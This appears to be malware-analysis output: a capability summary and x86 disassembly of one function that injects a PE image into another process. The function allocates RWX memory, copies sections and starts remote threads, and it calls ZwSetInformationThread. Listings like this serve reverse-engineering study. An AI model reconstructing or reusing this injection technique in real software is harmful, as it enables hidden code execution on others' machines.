Function at 0x402a71
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Get memory capacity
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x5c
push ebx
mov ebx, dword [0x42b184]
push esi
push edi
mov edi, dword [0x42b180]
xor esi, esi
mov dword [esp + 0x20], ebx
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor ecx, ecx
cmp dword [ebp + 8], eax
mov dword [esp + 0xc], esi
sete cl
mov dword [esp + 0x10], ecx
cmp dword [ebp + 8], esi
je 0x402d10
cmp edi, esi
je 0x402d10
cmp ebx, esi
je 0x402d10
cmp ecx, esi
jne 0x402afb
call fcn.00401d7e
test eax, eax
je 0x402ae0
jmp loc.0042da18
push dword [ebp + 8]
call fcn.00401e06
mov dword [esp + 0xc], eax
cmp eax, esi
jne 0x402b03
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x402d10
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
jmp 0x402ae8
cmp dword [esp + 0x10], esi
jne 0x402b1a
push dword [esp + 0xc]
call fcn.00402a45
test eax, eax
jne 0x402d17
push dword [ebp + 8]
call fcn.0040292c
test eax, eax
jne 0x402b34
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0xa
jl 0x402b1a
push dword [ebp + 8]
call fcn.0040292c
test eax, eax
je 0x402d10
mov esi, dword [edi + 0x3c]
add esi, edi
mov eax, dword [esi + 0x50]
test eax, eax
je 0x402d10
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 4
push 0x3000
add eax, ebx
push eax
push 0
push dword [esp + 0x1c]
call edi
mov ebx, eax
test ebx, ebx
jne 0x402bf0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x5af
jne 0x402d10
lea eax, [esp + 0x28]
push eax
mov dword [esp + 0x2c], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp dword [esp + 0x4c], 0
ja 0x402ba4
cmp dword [esp + 0x48], 1
jbe 0x402baf
mov eax, dword [esi + 0x50]
mov ecx, dword [esp + 0x20]
add ecx, eax
jmp 0x402bb4
mov eax, dword [esi + 0x50]
mov ecx, eax
test ecx, ecx
je 0x402be3
add eax, dword [esp + 0x20]
push 4
push 0x3000
push eax
push 0
push dword [esp + 0x1c]
call edi
mov ebx, eax
test ebx, ebx
jne 0x402bf0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x5af
jne 0x402d10
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402b83
push dword [esp + 0x1c]
mov eax, dword [esi + 0x54]
push ebx
push dword [esp + 0x14]
call fcn.004028d2
movzx eax, word [esi + 0x14]
and dword [esp + 0x18], 0
xor ecx, ecx
lea eax, [eax + esi + 0x18]
cmp cx, word [esi + 6]
jae 0x402c43
lea edi, [eax + 0x14]
mov eax, dword [edi]
add eax, dword [esp + 0x1c]
push eax
mov eax, dword [edi - 8]
add eax, ebx
push eax
push dword [esp + 0x14]
mov eax, dword [edi - 4]
call fcn.004028d2
movzx eax, word [esi + 6]
add edi, 0x28
inc dword [esp + 0x18]
cmp dword [esp + 0x18], eax
jl 0x402c19
push dword [esp + 0x1c]
mov eax, dword [esi + 0x50]
add eax, ebx
push eax
push dword [esp + 0x14]
mov eax, dword [esp + 0x2c]
call fcn.004028d2
mov edi, dword [esi + 0x28]
lea eax, [esp + 0x24]
push eax
push 0x40
push dword [esi + 0x50]
add edi, ebx
push ebx
mov ebx, dword [esp + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
xor esi, esi
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
push esi
push esi
push esi
push edi
push esi
push esi
cmp dword [esp + 0x28], esi
je 0x402cdc
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
call ebx
mov dword [esp + 0x20], eax
cmp eax, esi
jne 0x402cc2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 8
jne 0x402d08
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push esi
push esi
push edi
push esi
push esi
call ebx
mov dword [esp + 0x20], eax
cmp eax, esi
je 0x402d08
push 4
push dword [sym.imp.KERNEL32.dll_Sleep]
push 9
push dword [esp + 0x2c]
call dword [sym.imp.ntdll.dll_ZwSetInformationThread]
push dword [esp + 0x20]
jmp 0x402d03
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, esi
je 0x402cf7
push eax
call fcn.00401e1d
mov dword [esp + 0x14], 1
jmp 0x402d17
push edi
push ebx
call fcn.004027f2
cmp eax, esi
je 0x402d17
push eax
call fcn.00401e1d
mov dword [esp + 0x14], 1
cmp dword [esp + 0x10], 0
jne 0x402d27
cmp dword [esp + 0xc], 0
je 0x402d27
push dword [esp + 0xc]
call fcn.00401e1d
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4